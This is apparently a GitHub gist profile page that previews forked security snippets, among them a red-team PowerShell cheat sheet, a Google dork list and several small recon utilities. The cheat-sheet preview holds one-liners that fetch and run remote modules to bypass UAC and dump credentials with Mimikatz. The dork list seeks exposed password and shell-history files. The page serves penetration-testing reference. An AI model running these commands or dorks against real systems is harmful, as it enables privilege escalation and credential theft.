Skip to content

Instantly share code, notes, and snippets.

View p3ppi's full-sized avatar

皮3皮 p3ppi

2 followers · 5 following
View GitHub Profile
@p3ppi
p3ppi / xor.ps1
Created August 21, 2022 12:09 — forked from gabemarshall/xor.ps1
Simple Encrypt and Decrypt with Powershell
# Not secure by any means, just a PoC for XOR'ing data using powershell
# Credit to http://stackoverflow.com/questions/3478954/code-golf-xor-encryption
$enc = [System.Text.Encoding]::UTF8
function xor {
param($string, $method)
$xorkey = $enc.GetBytes("secretkey")
if ($method -eq "decrypt"){
@p3ppi
p3ppi / RedTeam_CheatSheet.ps1
Created August 14, 2022 23:23 — forked from jivoi/RedTeam_CheatSheet.ps1
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands
@p3ppi
p3ppi / txt.txt
Created August 5, 2022 18:04 — forked from SK851831/txt.txt
haha google dork searches
intitle:index.of .bash_history
intitle:index.of .sh_history
intitle:”Index of” index.html.bak
intitle:”Index of” index.php.bak
intitle:”Index of” index.jsp.bak
intitle:”Index of” “.htpasswd” htpasswd.bak
inurl:backup intitle:index.of inurl:admin
“Index of /backup”
intitle:”Index of” index.html~
intitle:”Index of” index.php~
@p3ppi
p3ppi / curl_download.sh
Created May 9, 2022 07:57 — forked from stevenswafford/curl_download.sh
Download files using curl.
#!/bin/bash
# Description : Download files using curl.
echo "Enter the name of your flat file: "
read input_variable
echo "You entered: $input_variable"
#create urls variable array
declare urls=( `cat "$input_variable" `)
@p3ppi
p3ppi / dnsmap.py
Created May 9, 2022 07:57 — forked from stevenswafford/dnsmap.py
Maps DNS from a given domain.
#!/usr/bin/env python
# Description : Maps DNS from a given domain.
import socket
import sys
domain = raw_input("Enter domain: ")
try:
@p3ppi
p3ppi / zipdump.py
Created May 9, 2022 07:55 — forked from stevenswafford/zipdump.py
Zipdump allows you to inspect ZIP files.
#!/usr/bin/env python
import optparse
import zipfile
import hashlib
import signal
import sys
import os
import cStringIO
import textwrap
@p3ppi
p3ppi / google-dorks
Created May 9, 2022 07:54 — forked from stevenswafford/google-dorks
Listing of a number of useful Google dorks.
" _ _ "
" _ /|| . . ||\ _ "
" ( } \||D ' ' ' C||/ { % "
" | /\__,=_[_] ' . . ' [_]_=,__/\ |"
" |_\_ |----| |----| _/_|"
" | |/ | | | | \| |"
" | /_ | | | | _\ |"
It is all fun and games until someone gets hacked!
@p3ppi
p3ppi / ssh_commands.txt
Created May 9, 2022 07:53 — forked from stevenswafford/ssh_commands.txt
SSH Commands
###SSH into a remote machine###
#domain name
ssh [email protected]
#ip address
ssh [email protected]
__exit:__ `exit`
@p3ppi
p3ppi / webapppentest
Created May 9, 2022 07:53 — forked from stevenswafford/webapppentest
Web Application Pentest Cheat Sheet
=== http status codes ===================================================
1xx Informational
100 Continue
101 Switching Protocols
102 Processing (WebDAV; RFC 2518)
2xx Success
200 OK
201 Created